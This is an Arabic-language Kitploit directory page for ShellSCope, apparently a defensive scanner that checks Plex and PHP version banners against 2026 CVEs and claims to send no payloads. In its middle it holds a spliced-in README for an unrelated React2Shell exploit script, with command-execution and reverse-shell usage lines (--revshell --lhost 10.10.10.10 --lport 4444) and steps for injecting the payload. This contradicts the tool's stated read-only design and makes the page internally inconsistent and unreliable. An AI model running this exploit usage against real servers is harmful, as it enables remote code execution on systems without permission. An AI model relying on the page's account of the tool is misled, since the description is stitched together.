Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ShellSCope — مدقق تعرّض دفاعي لـ Plex2Shell وphp2shell — اكتشف ثغراتك قبل أن يكتشفها غيرك. | Kitploit
أدوات/GitHubGitHub/d0rb/shellscope
أدوات دفاعيةالاستطلاعماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبتحليل الثغرات الأمنيةتدقيق التكوينجمع المعلوماتأمن الشبكاتDevSecOpsالاستجابة للحوادث
GitHub
3منذ 3 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
d0rb/shellscope

ShellSCope

مدقق تعرّض دفاعي لـ Plex2Shell وphp2shell — اكتشف ثغراتك قبل أن يكتشفها غيرك.

عرض المستودع
مشاركة

SHELLSCOPE

   ____  _   _ _____ _      _      ____   ____  _____ ______
  / ___|| | | | ____| |    | |    / ___| / ___||  _ \|  ____|
  \___ \| |_| |  _| | |    | |    \___ \| |    | |_) | |__
   ___) |  _  | |___| |___ | |___  ___) | |___ |  _ <|  __|
  |____/|_| |_|_____|_____|_____||____/ \____||_| \_\_____|

مدقق تعرّض 2shell — اكتشف ثغراتك قبل أن يكتشفها غيرك.

يتحقق shellscope من شبكة مُصرَّح بها بحثًا عن مجموعتين من ثغرات CVE لعام 2026:

  • Plex2Shell — CVE-2026-96652 / -96654 / -96655 / -96656 (Plex Media Server < 1.43.3.10861)
  • php2shell — CVE-2026-109618 / -109619 (PHP session.upload_progress)

يقرأ لافتات الإصدارات وترويسات HTTP. وهو لا يستغل الثغرات، ولا يصادق، ولا يرفع ملفات، ولا يفعّل خلل الذاكرة.

Python License Payloads

التثبيت

pipx install shellscope
# or
python -m pip install shellscope

الاستخدام

python3 CVE-2025-55182.py -u http://target.com

الخيارات:

  • -u, --url: عنوان URL الهدف (مطلوب)
  • --cmd: الأمر المراد تنفيذه (افتراضي: id)
  • --lhost: عنوان IP للمستمع (وضع الاتصال العكسي)
  • --lport: منفذ المستمع (وضع الاتصال العكسي)
  • --revshell: تفعيل وضع الاتصال العكسي
  • --proxy: بروكسي (مثال: http://127.0.0.1:8080)
  • --no-color: تعطيل الإخراج الملوّن

أمثلة

# تنفيذ أمر
python3 CVE-2025-55182.py -u http://target.com --cmd "whoami"

# اتصال عكسي
python3 CVE-2025-55182.py -u http://target.com --revshell --lhost 10.10.10.10 --lport 4444

# عبر بروكسي
python3 CVE-2025-55182.py -u http://target.com --proxy http://127.0.0.1:8080

كيف يعمل

  1. يرسل طلب POST إلى نقطة النهاية / مع ترويسة Next-Action
  2. يحقن حمولة React2Shell في حقل النموذج 0
  3. يتحقق من وجود uid= في الاستجابة (مؤشر على تنفيذ الأوامر)
  4. يعرض مخرجات الأمر أو يفعّل الاتصال العكسي

المتطلبات

  • Python 3.6+
  • حزمة requests
pip install requests

إخلاء المسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. لا تستخدمها على أنظمة لا تملك إذنًا صريحًا باختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام أو أضرار.

المراجع

  • CVE-2025-55182
  • تحذير React
  • تحذير Next.js
python -m pip install -e ".[dev]"

الاستخدام

# prove the install works, no network traffic
shellscope --self-test

# see what would be scanned
shellscope --cidr 192.168.1.0/24 --dry-run

# audit your network
shellscope --cidr 10.0.0.0/24 --authorized

# inventory CSV: host,port,owner,environment
shellscope --inventory-csv assets.csv --authorized --html report.html

# CI gate
shellscope --inventory-csv assets.csv --authorized --fail-on high --quiet

--authorized مطلوب لإجراء فحص حقيقي. وهو تأكيدك بأنك تملك الشبكة أو لديك إذن كتابي لاختبارها.

ما الذي يفحصه

مجموعة CVEالفحصالحكم
Plex2ShellGET /identity → version< 1.43.3.10861 → CRITICAL
php2shellGET / → Server، X-Powered-By، PHPSESSIDApache + PHP أقل من الإصدار المُصلح → HIGH
php2shellنفسهnginx/LiteSpeed + أقل من الإصدار المُصلح → MEDIUM
php2shellنفسهApache + إصدار مخفي → MEDIUM (تحقّق)
—منفذ مفتوح، دون بصمةINFO

إصدارات PHP المُصلحة (مبنية على التسريب حتى الإشعار الرسمي): 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12.

تقسيم HIGH/MEDIUM مقصود: تُبلَّغ ثغرة php2shell المتبقية على أنها Apache prefork + mod_php فقط، وليست RCE عامة في PHP.

المخرجات

  • --out audit.csv — صف واحد لكل نتيجة (الافتراضي shellscope-results.csv)
  • --json audit.json — البيانات الوصفية + النتائج
  • --html audit.html — تقرير داكن ومكتفٍ ذاتيًا مع تصفية وفرز

عرض توضيحي

$ shellscope --cidr 127.0.0.1/32 --ports 32400,8888 --force-checks --authorized

  [scope] 1 assets / 2 checks
  CRITICAL  127.0.0.1:32400  Plex Media Server 1.43.2.10664  Vulnerable to Plex2Shell
  HIGH      127.0.0.1:8888   PHP 8.2.34                 PHP 8.2.34 < 8.2.35 on Apache

  SUMMARY
  CRITICAL    1  #
  HIGH        1  #
  TOTAL       2

السلامة

  • --authorized إلزامي لإجراء فحص حقيقي.
  • النطاقات الخاصة/الاسترجاعية (loopback) افتراضيًا؛ النطاقات العامة تتطلب --allow-public.
  • --max-hosts و--workers و--delay تحدّ من نطاق الفحص.
  • طلب واحد للقراءة فقط لكل منفذ مفتوح. لا حمولات (payloads)، ولا تجاوز للمصادقة، ولا هجمات حجب الخدمة (DoS).

استخدمه فقط على الشبكات التي تملكها أو لديك إذن كتابي باختبارها. نطاق برنامج مكافآت الثغرات (bug bounty) ليس ترخيصًا لفحص الإنترنت؛ بل يصرّح بالأصول المدرجة ضمن قواعد ذلك البرنامج.

ملاحظات

  • شبكات توصيل المحتوى (CDNs) تخفي الخادم الأصلي. قد يصف ترويسة Server خدمة Cloudflare وليس إصدار PHP.
  • غالبًا ما يكون X-Powered-By معطّلًا. غياب الترويسة ليس دليلًا على وجود تصحيح.
  • الإصدار ≠ الاستغلال. تخبرك الأداة أين تبحث، وليس أن المضيف قد تم اختراقه.
  • إصدارات PHP المُصحّحة مبنية على تسريبات. تحقّق منها مقابل الإشعار الرسمي.

رموز الخروج

الرمزالمعنى
0اكتمل الفحص، دون نتائج عند --fail-on أو أعلى
1نتائج عند --fail-on أو أعلى
2خطأ في الاستخدام أو حارس التصريح

التطوير

python -m pip install -e ".[dev]"
python -m pytest
python -m ruff check src tests
python -m shellscope --self-test

الترخيص

MIT. للاستخدام المصرّح به فقط.

تنزيل الأداة